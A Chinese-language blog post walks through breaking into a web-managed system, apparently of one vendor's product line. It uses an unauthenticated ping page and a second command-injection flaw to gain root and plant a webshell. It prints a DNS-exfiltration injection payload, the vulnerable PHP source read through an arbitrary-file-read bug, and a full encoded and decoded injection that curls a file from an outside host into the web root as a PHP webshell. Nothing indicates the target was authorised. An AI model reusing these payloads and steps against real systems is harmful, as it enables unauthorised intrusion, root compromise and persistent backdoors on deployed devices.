酷帥王子'blog-

Web安全之实战通过os命令注入漏洞getwebshell

2022-2-25 18:43 作者:酷帥王子 | 黑盒网络渗透测试 |

Web安全之实战通过os命令注入漏洞getwebshell

一、    寻找突破口

经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:

发现reporterTechnology, Inc.都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。

地址为:

http://1.1.1.1//view/systemConfig/systemTool/ping/ping.php?text_target=&text_pingcount=5&text_packetsize=64,如图:

测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:

`whoami`.1111.ceye.io,如图:

返回dns记录如图:

发现当前用户权限为root

二、    通过漏洞组合getwebshell

    文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:

 

 

 

得知网站路径为:/var/www/html/view/systemconfig/systemtool/

正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图

 

Os命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码

源代码为:

<?php include_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php"); ?>

<?php

session_start ();

 

if ($_GET ["objClass"] == "")

      exit ();

$param = $_REQUEST;

 

//echo "\n--------------------------\n";

//print_r($param);

//echo "\n--------------------------\n";

if ($_GET ["method"] == "getList" || $_GET ["method"] == "import" || $_GET ["method"] == "processAlarm") {

      $param ["user"] = $_SESSION ["s_userName"];

      $param ["lan"] = $_SESSION ["lan"];

      $param ["regUserpath"] = $_SESSION ["regUserpath"];

     

      exec ( "rm -rf /tmp/cache" );

      $cmd = "/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";

      $cmd .= " " . $_GET ["objClass"];

      $cmd .= " " . $_GET ["method"];

      $cmd .= " " . base64_encode ( json_encode ( $param ) );

      file_put_contents("/tmp/query_cmd",$cmd);

      exec ( $cmd . "  > /dev/null &" );

} else {

      require_once ($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");

      $obj = new QueryInterface ();

      $instance = $obj->getInstance ();

      $instance->invokeMethod ( $_GET ["objClass"], $_GET ["method"], $param );

}

exit ();

?>

 

经常简单审计发现if ($_GET ["method"] == "getList" || $_GET ["method"] == "import" || $_GET ["method"] == "processAlarm"),如果method只要等于getListimportprocessAlarm这其中一个,$cmd = "/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";  cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);

      exec ( $cmd . "  > /dev/null &" );给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示

 

图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshellpayload如下:

%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php

 

我们用url解码如下:

 

|curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php||`pcurl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #' |curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php||`curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #\" |curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php

使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:

三、总结

   案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。

   综上所述,运气与挖洞功底同等重要,谢谢观看

 

 

 

文章作者:酷帥王子
文章地址:https://www.2k8.org:443/post-317.html
版权所有 © 转载时必须以链接形式注明作者和原始出处!

发表评论:



Powered by 酷帥王子

CopyRight © 2009-2016 酷帥王子'blog.  All rights reserved.